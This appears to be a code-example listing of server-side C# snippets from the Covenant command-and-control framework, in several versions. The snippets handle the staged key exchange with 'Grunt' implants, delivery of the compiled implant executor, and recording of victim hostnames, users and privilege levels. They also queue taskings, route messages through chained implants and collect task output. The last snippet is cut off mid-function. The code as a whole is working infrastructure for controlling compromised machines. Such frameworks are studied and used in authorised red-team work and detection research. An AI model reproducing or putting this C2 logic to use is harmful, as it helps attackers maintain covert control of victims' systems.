Пример #1
0
 public static Grunt Create(API.Models.Grunt gruntModel)
 {
     return(new Grunt
     {
         Id = gruntModel.Id ?? default,
         ListenerId = gruntModel.ListenerId ?? default,
         Name = gruntModel.Name ?? default,
         DotNetFrameworkVersion = (Common.DotNetVersion)Enum.Parse(typeof(Common.DotNetVersion), gruntModel.DotNetFrameworkVersion.ToString()),
         CovenantIPAddress = gruntModel.CovenantIPAddress ?? default,
         Delay = gruntModel.Delay ?? default,
         Jitter = gruntModel.Jitter ?? default,
         ConnectAttempts = gruntModel.ConnectAttempts ?? default,
         LastCheckIn = gruntModel.LastCheckIn ?? default,
         Status = (GruntStatus)Enum.Parse(typeof(GruntStatus), gruntModel.Status.ToString()),
         Integrity = (IntegrityLevel)Enum.Parse(typeof(IntegrityLevel), gruntModel.Integrity.ToString()),
         Process = gruntModel.Process,
         UserDomainName = gruntModel.UserDomainName,
         UserName = gruntModel.UserName,
         GruntSharedSecretPassword = gruntModel.GruntSharedSecretPassword,
         GruntRSAPublicKey = gruntModel.GruntRSAPublicKey,
         GruntNegotiatedSessionKey = gruntModel.GruntNegotiatedSessionKey,
         GruntChallenge = gruntModel.GruntChallenge,
         IPAddress = gruntModel.IpAddress,
         OperatingSystem = gruntModel.OperatingSystem,
         CookieAuthKey = gruntModel.CookieAuthKey
     });
Пример #2
0
 public static Grunt Create(API.Models.Grunt gruntModel)
 {
     return(new Grunt
     {
         Id = gruntModel.Id ?? default,
         ListenerId = gruntModel.ListenerId ?? default,
         Name = gruntModel.Name ?? default,
         GUID = gruntModel.Guid ?? default,
         OriginalServerGuid = gruntModel.OriginalServerGuid ?? default,
         DotNetFrameworkVersion = (Common.DotNetVersion)Enum.Parse(typeof(Common.DotNetVersion), gruntModel.DotNetFrameworkVersion.ToString()),
         CovenantIPAddress = gruntModel.CovenantIPAddress ?? default,
         Children = gruntModel.Children.ToList(),
         CommType = (Grunt.CommunicationType)Enum.Parse(typeof(Grunt.CommunicationType), gruntModel.CommType.ToString()),
         SMBPipeName = gruntModel.SmbPipeName,
         Delay = gruntModel.Delay ?? default,
         JitterPercent = gruntModel.JitterPercent ?? default,
         ConnectAttempts = gruntModel.ConnectAttempts ?? default,
         KillDate = gruntModel.KillDate ?? default,
         ActivationTime = gruntModel.ActivationTime ?? default,
         LastCheckIn = gruntModel.LastCheckIn ?? default,
         Status = (GruntStatus)Enum.Parse(typeof(GruntStatus), gruntModel.Status.ToString()),
         Integrity = (IntegrityLevel)Enum.Parse(typeof(IntegrityLevel), gruntModel.Integrity.ToString()),
         Process = gruntModel.Process,
         UserDomainName = gruntModel.UserDomainName,
         UserName = gruntModel.UserName,
         GruntSharedSecretPassword = gruntModel.GruntSharedSecretPassword,
         GruntRSAPublicKey = gruntModel.GruntRSAPublicKey,
         GruntNegotiatedSessionKey = gruntModel.GruntNegotiatedSessionKey,
         GruntChallenge = gruntModel.GruntChallenge,
         IPAddress = gruntModel.IpAddress,
         Hostname = gruntModel.Hostname,
         OperatingSystem = gruntModel.OperatingSystem,
         CookieAuthKey = gruntModel.CookieAuthKey
     });
Пример #3
0
        public ActionResult <string> Get()
        {
            this.SetHeaders();
            string cookie = this.GetCookie();

            try
            {
                API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie);
                if (gruntModel == null || gruntModel.Status != GruntStatus.Active)
                {
                    // Invalid CookieAuthKey. May not be legitimate Grunt request, respond Ok
                    return(Ok());
                }
                gruntModel.LastCheckIn = DateTime.UtcNow;
                this.CovenantClient.ApiGruntsPut(gruntModel);
                GruntTasking gruntTasking = this.CovenantClient.ApiGruntsByIdTaskingsSearchUninitializedGet(gruntModel.Id ?? default)
                                            .FirstOrDefault();
                if (gruntTasking == null)
                {
                    // No GruntTasking assigned. Respond with empty template,
                    return(Ok(this.GetGetEmptyResponse()));
                }
                if (gruntTasking.Type == GruntTaskingType.Assembly)
                {
                    GruntTask task = this.CovenantClient.ApiGrunttasksByIdGet(gruntTasking.TaskId ?? default);
                    if (task == null)
                    {
                        // Can't find corresponding task. Should never reach this point. Will just respond NotFound.
                        return(NotFound());
                    }
                }
                gruntTasking.Status = GruntTaskingStatus.Tasked;
                this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking);

                API.Models.Grunt targetGruntModel           = this.CovenantClient.ApiGruntsByIdGet(gruntTasking.GruntId ?? default);
                Models.Grunts.GruntEncryptedMessage message = null;
                try
                {
                    message = this.CreateMessageForGrunt(gruntModel, targetGruntModel, gruntTasking.GruntTaskingMessage);
                }
                catch (HttpOperationException)
                {
                    // Change to new Status: Aborted?
                    gruntTasking.Status = GruntTaskingStatus.Completed;
                    this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking);
                    return(NotFound());
                }
                // Transform response
                string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
                // Format transformed response
                string response = String.Format(this.Profile.HttpPostResponse, transformed);
                return(Ok(response));
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }
        }
Пример #4
0
        private ActionResult RegisterGrunt(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);
            string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage));

            // todo: try/catch on deserialize?
            Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message);

            targetGrunt.IpAddress       = grunt.IPAddress;
            targetGrunt.Hostname        = grunt.Hostname;
            targetGrunt.OperatingSystem = grunt.OperatingSystem;
            targetGrunt.UserDomainName  = grunt.UserDomainName;
            targetGrunt.UserName        = grunt.UserName;
            targetGrunt.Status          = GruntStatus.Active;
            targetGrunt.Integrity       = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString());
            targetGrunt.Process         = grunt.Process;
            realGrunt.LastCheckIn       = DateTime.UtcNow;

            CovenantClient.ApiGruntsPut(targetGrunt);

            GruntTaskingMessage tasking = new GruntTaskingMessage
            {
                Message = targetGrunt.CookieAuthKey,
                Name    = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10),
                Type    = GruntTaskingType.Jobs,
                Token   = false
            };

            Models.Grunts.GruntEncryptedMessage responseMessage = null;
            try
            {
                responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking);
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }

            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
Пример #5
0
        // post task
        private ActionResult PostTask(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage outputMessage)
        {
            string cookie = this.GetCookie();

            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Active || egressGrunt.CookieAuthKey != cookie)
            {
                // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }

            string TaskName = outputMessage.Meta;

            if (string.IsNullOrWhiteSpace(TaskName))
            {
                // Invalid task response. This happens on post-register write
                return(NotFound());
            }
            GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsDetailGet(targetGrunt.Id ?? default).FirstOrDefault(T => T.Name == TaskName);

            if (gruntTasking == null || targetGrunt.Id != gruntTasking.GruntId)
            {
                // Invalid taskname. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }

            var realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);

            if (realGrunt == null || realGrunt.Status != Covenant.Models.Grunts.Grunt.GruntStatus.Active)
            {
                // Invalid Grunt. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }
            if (!outputMessage.VerifyHMAC(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey)))
            {
                // Invalid signature. Almost certainly not a legitimate Grunt request, respond NotFound
                return(NotFound());
            }
            string taskOutput = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(outputMessage));

            gruntTasking.GruntTaskOutput = taskOutput;
            gruntTasking.Status          = GruntTaskingStatus.Completed;
            this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking);
            targetGrunt             = this.CovenantClient.ApiGruntsByIdGet(targetGrunt.Id ?? default);
            targetGrunt.LastCheckIn = DateTime.UtcNow;
            this.CovenantClient.ApiGruntsPut(targetGrunt);

            return(Ok());
        }
Пример #6
0
        private ActionResult RegisterGrunt(Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage)
        {
            API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntMessage.Id);
            if (gruntModel == null || gruntModel.Status != GruntStatus.Stage2)
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (!gruntMessage.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);
            string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage));

            // todo: try/catch on deserialize?
            Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message);

            gruntModel.IpAddress       = grunt.IPAddress;
            gruntModel.OperatingSystem = grunt.OperatingSystem;
            gruntModel.UserDomainName  = grunt.UserDomainName;
            gruntModel.UserName        = grunt.UserName;
            gruntModel.Status          = GruntStatus.Active;
            gruntModel.Integrity       = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString());
            gruntModel.Process         = grunt.Process;

            CovenantClient.ApiGruntsPut(gruntModel);
            CovenantClient.ApiEventsPost(new EventModel
            {
                Message = "Grunt: " + grunt.Name + " from: " + grunt.IPAddress + " has been activated!",
                Level   = EventLevel.Highlight,
                Context = "*"
            });

            var responseMessage = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
                Covenant.Models.Grunts.Grunt.Create(gruntModel), Common.CovenantEncoding.GetBytes(gruntModel.CookieAuthKey)
                );
            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
Пример #7
0
        public ActionResult PostStage2(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);
            byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response);
            if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            realGrunt.Status      = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2;
            realGrunt.LastCheckIn = DateTime.UtcNow;
            this.CovenantClient.ApiGruntsPut(realGrunt.ToModel());
            API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId);
            API.Models.HttpProfile  profileModel  = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId);
            var    realListener          = Covenant.Models.Listeners.HttpListener.Create(listenerModel);
            string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel));

            Covenant.Models.Grunts.GruntEncryptedMessage message = null;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, Convert.FromBase64String(GruntExecutorAssembly));
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }

            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)"
            return(Ok(response));
        }
Пример #8
0
        public ActionResult <string> Get()
        {
            this.SetHeaders();
            string cookie = this.GetCookie();

            API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie);
            if (gruntModel == null || gruntModel.Status != GruntStatus.Active)
            {
                // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }
            gruntModel.LastCheckIn = DateTime.Now.ToString();
            CovenantClient.ApiGruntsPut(gruntModel);
            GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsGet(gruntModel.Id ?? default).FirstOrDefault(GT => GT.Status == GruntTaskingStatus.Uninitialized);

            if (gruntTasking == null)
            {
                // No GruntTasking assigned. Respond with empty template,
                return(Ok(this.GetGetEmptyResponse()));
            }
            if (gruntTasking.Type == GruntTaskingType.Assembly)
            {
                GruntTask task = CovenantClient.ApiGruntTasksByIdGet(gruntTasking.TaskId ?? default);
                if (task == null)
                {
                    // Can't find corresponding task. Should never reach this point. Will just respond NotFound.
                    return(NotFound());
                }
            }
            gruntTasking.Status = GruntTaskingStatus.Tasked;
            CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking);

            string responseTasking = JsonConvert.SerializeObject(gruntTasking.TaskingMessage);
            var    message         = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
                Covenant.Models.Grunts.Grunt.Create(gruntModel),
                Common.CovenantEncoding.GetBytes(responseTasking)
                );
            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
Пример #9
0
        private ActionResult PostStage1(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage0 || !gruntStage1Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);
            byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response);
            byte[] challenge2 = new byte[4];
            using (RandomNumberGenerator rng = RandomNumberGenerator.Create())
            {
                rng.GetBytes(challenge2);
            }
            // Save challenge to compare on response
            realGrunt.GruntChallenge = Convert.ToBase64String(challenge2);
            realGrunt.Status         = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1;
            realGrunt.LastCheckIn    = DateTime.UtcNow;
            CovenantClient.ApiGruntsPut(realGrunt.ToModel());

            Covenant.Models.Grunts.GruntEncryptedMessage message = null;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, challenge1.Concat(challenge2).ToArray());
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }

            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)"
            return(Ok(response));
        }
Пример #10
0
        private Models.Grunts.GruntEncryptedMessage CreateMessageForGrunt(API.Models.Grunt grunt, API.Models.Grunt targetGrunt, byte[] message)
        {
            List <string> path = this.CovenantClient.ApiGruntsByIdPathByTidGet(grunt.Id ?? default, targetGrunt.Id ?? default).ToList();

            path.Reverse();
            Models.Grunts.GruntEncryptedMessage finalMessage = null;
            Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType messageType = Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.Tasking;
            foreach (string guid in path)
            {
                API.Models.Grunt thisGrunt = this.CovenantClient.ApiGruntsGuidByGuidGet(guid);
                finalMessage = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
                    Covenant.Models.Grunts.Grunt.Create(thisGrunt),
                    message,
                    messageType
                    );
                message     = Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(finalMessage));
                messageType = Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.Routing;
            }
            return(finalMessage);
        }
Пример #11
0
        private ActionResult PostStage1(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response)
        {
            // Check if this Grunt ID is already active
            API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage1Response.Id);
            if (gruntModel == null || gruntModel.Status != GruntStatus.Stage0)
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (!gruntStage1Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);
            byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response);
            byte[] challenge2 = new byte[4];
            using (RandomNumberGenerator rng = RandomNumberGenerator.Create())
            {
                rng.GetBytes(challenge2);
            }
            // Save challenge to compare on response
            realGrunt.GruntChallenge = Convert.ToBase64String(challenge2);

            Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, challenge1.Concat(challenge2).ToArray());

            string Stage1Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC;

            // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)"

            realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1;
            CovenantClient.ApiGruntsPut(realGrunt.ToModel());

            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage1Response));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
Пример #12
0
        public ActionResult PostStage2(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response)
        {
            // Check if this Grunt ID is already active
            API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage2Response.Id);
            if (gruntModel == null || gruntModel.Status != GruntStatus.Stage1)
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (!gruntStage2Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);
            byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response);
            if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2;
            this.CovenantClient.ApiGruntsPut(realGrunt.ToModel());
            API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId);
            API.Models.HttpProfile  profileModel  = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId);
            var    realListener          = Covenant.Models.Listeners.HttpListener.Create(listenerModel);
            string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel));
            var    message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, Convert.FromBase64String(GruntExecutorAssembly));

            string Stage2Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC;
            // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)"
            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage2Response));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
Пример #13
0
        private ActionResult PostStage0(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response)
        {
            if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            bool egressGruntExists = (egressGrunt != null);

            Covenant.Models.Grunts.Grunt realTargetGrunt = null;
            string guid = gruntStage0Response.GUID.Substring(10);

            if (targetGrunt.Status != GruntStatus.Uninitialized)
            {
                // We create a new Grunt if this one is not uninitialized
                API.Models.Grunt tempModel = new API.Models.Grunt
                {
                    Id                        = 0,
                    Guid                      = gruntStage0Response.GUID.Substring(10),
                    Status                    = GruntStatus.Stage0,
                    ListenerId                = targetGrunt.ListenerId,
                    CovenantIPAddress         = targetGrunt.CovenantIPAddress,
                    GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword,
                    CommType                  = targetGrunt.CommType,
                    SmbPipeName               = targetGrunt.SmbPipeName,
                    Delay                     = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate,
                    ConnectAttempts           = targetGrunt.ConnectAttempts,
                    DotNetFrameworkVersion    = targetGrunt.DotNetFrameworkVersion,
                    LastCheckIn               = DateTime.UtcNow
                };
                API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel);
                realTargetGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
            }
            else
            {
                targetGrunt.Status      = GruntStatus.Stage0;
                targetGrunt.Guid        = guid;
                targetGrunt.LastCheckIn = DateTime.UtcNow;
                API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(targetGrunt);
                realTargetGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
            }
            if (!egressGruntExists)
            {
                egressGrunt = realTargetGrunt.ToModel();
            }

            // EncryptedMessage is the RSA Public Key
            realTargetGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt(
                                                                           gruntStage0Response,
                                                                           Convert.FromBase64String(realTargetGrunt.GruntSharedSecretPassword)
                                                                           ));
            // Generate negotiated session key
            Aes newAesKey = Aes.Create();

            newAesKey.GenerateKey();
            realTargetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key);
            this.CovenantClient.ApiGruntsPut(realTargetGrunt.ToModel());

            if (egressGruntExists)
            {
                // Add this as Child grunt to Grunt that connects it
                List <GruntTasking> taskings = this.CovenantClient.ApiTaskingsGet().ToList();
                // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort?
                GruntTasking connectTasking = taskings.Where(GT => GT.Type == GruntTaskingType.Connect && GT.Status == GruntTaskingStatus.Progressed).Reverse().FirstOrDefault();
                if (connectTasking == null)
                {
                    return(NotFound());
                }
                connectTasking           = this.CovenantClient.ApiGruntsByIdTaskingsByTidDetailGet(connectTasking.GruntId ?? default, connectTasking.Id ?? default);
                realTargetGrunt.Hostname = connectTasking.GruntTaskingMessage.Message.Split(",")[0];
                this.CovenantClient.ApiGruntsPut(realTargetGrunt.ToModel());
                connectTasking.Status = GruntTaskingStatus.Completed;
                this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(connectTasking.GruntId ?? default, connectTasking.Id ?? default, connectTasking);
            }

            byte[] rsaEncryptedBytes = realTargetGrunt.RSAEncrypt(Convert.FromBase64String(realTargetGrunt.GruntNegotiatedSessionKey));
            Covenant.Models.Grunts.GruntEncryptedMessage message = null;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, realTargetGrunt.ToModel(), rsaEncryptedBytes);
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }
            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)"
            return(Ok(response));
        }
Пример #14
0
        // stage0
        private ActionResult PostStage0(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response)
        {
            // Check if this Grunt ID is already active
            API.Models.Grunt savedGrunt = CovenantClient.ApiGruntsByIdGet(gruntStage0Response.Id);
            if (savedGrunt == null)
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (!gruntStage0Response.VerifyHMAC(Convert.FromBase64String(savedGrunt.GruntSharedSecretPassword)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            Covenant.Models.Grunts.Grunt realGrunt = null;
            if (savedGrunt.Status != GruntStatus.Uninitialized)
            {
                savedGrunt.Status = GruntStatus.Stage0;
                // We create a new Grunt if this one is not uninitialized
                API.Models.Grunt tempModel = new API.Models.Grunt
                {
                    Status                    = savedGrunt.Status,
                    ListenerId                = savedGrunt.ListenerId,
                    CovenantIPAddress         = savedGrunt.CovenantIPAddress,
                    GruntSharedSecretPassword = savedGrunt.GruntSharedSecretPassword,
                    Delay                  = savedGrunt.Delay, Jitter = savedGrunt.Jitter,
                    ConnectAttempts        = savedGrunt.ConnectAttempts,
                    DotNetFrameworkVersion = savedGrunt.DotNetFrameworkVersion
                };
                API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel);
                realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
            }
            else
            {
                savedGrunt.Status = GruntStatus.Stage0;
                API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(savedGrunt);
                realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
            }

            // EncryptedMessage is the RSA Public Key
            realGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt(
                                                                     gruntStage0Response,
                                                                     Convert.FromBase64String(realGrunt.GruntSharedSecretPassword)
                                                                     ));
            // Generate negotiated session key
            Aes newAesKey = Aes.Create();

            newAesKey.GenerateKey();
            realGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key);
            CovenantClient.ApiGruntsPut(realGrunt.ToModel());

            byte[] rsaEncryptedBytes = realGrunt.RSAEncrypt(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey));

            Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
                realGrunt,
                rsaEncryptedBytes,
                Convert.FromBase64String(realGrunt.GruntSharedSecretPassword)
                );
            string Stage0Response = message.Id + "," + message.Name + "," + message.IV + "," + message.EncryptedMessage + "," + message.HMAC;
            // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)"
            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage0Response));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
Пример #15
0
        // post task
        private ActionResult PostTask(Covenant.Models.Grunts.GruntEncryptedMessage outputMessage)
        {
            string cookie = this.GetCookie();

            API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie);
            if (gruntModel == null || gruntModel.Status != GruntStatus.Active)
            {
                // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }

            string       TaskName     = outputMessage.Meta;
            GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsByTasknameGet(gruntModel.Id ?? default, TaskName);

            if (gruntTasking == null || gruntModel.Id != gruntTasking.GruntId)
            {
                // Invalid taskname. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }

            var realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);

            if (realGrunt == null || realGrunt.Status != Covenant.Models.Grunts.Grunt.GruntStatus.Active)
            {
                // Invalid Grunt. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }
            if (!outputMessage.VerifyHMAC(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey)))
            {
                // Invalid signature. Almost certainly not a legitimate Grunt request, responsd NotFound
                return(NotFound());
            }
            string taskOutput = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(outputMessage));

            gruntTasking.GruntTaskOutput = taskOutput;
            gruntTasking.Status          = GruntTaskingStatus.Completed;
            if (gruntTasking.Type == GruntTaskingType.Kill)
            {
                gruntModel.Status = GruntStatus.Killed;
                CovenantClient.ApiGruntsPut(gruntModel);
            }
            CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking);

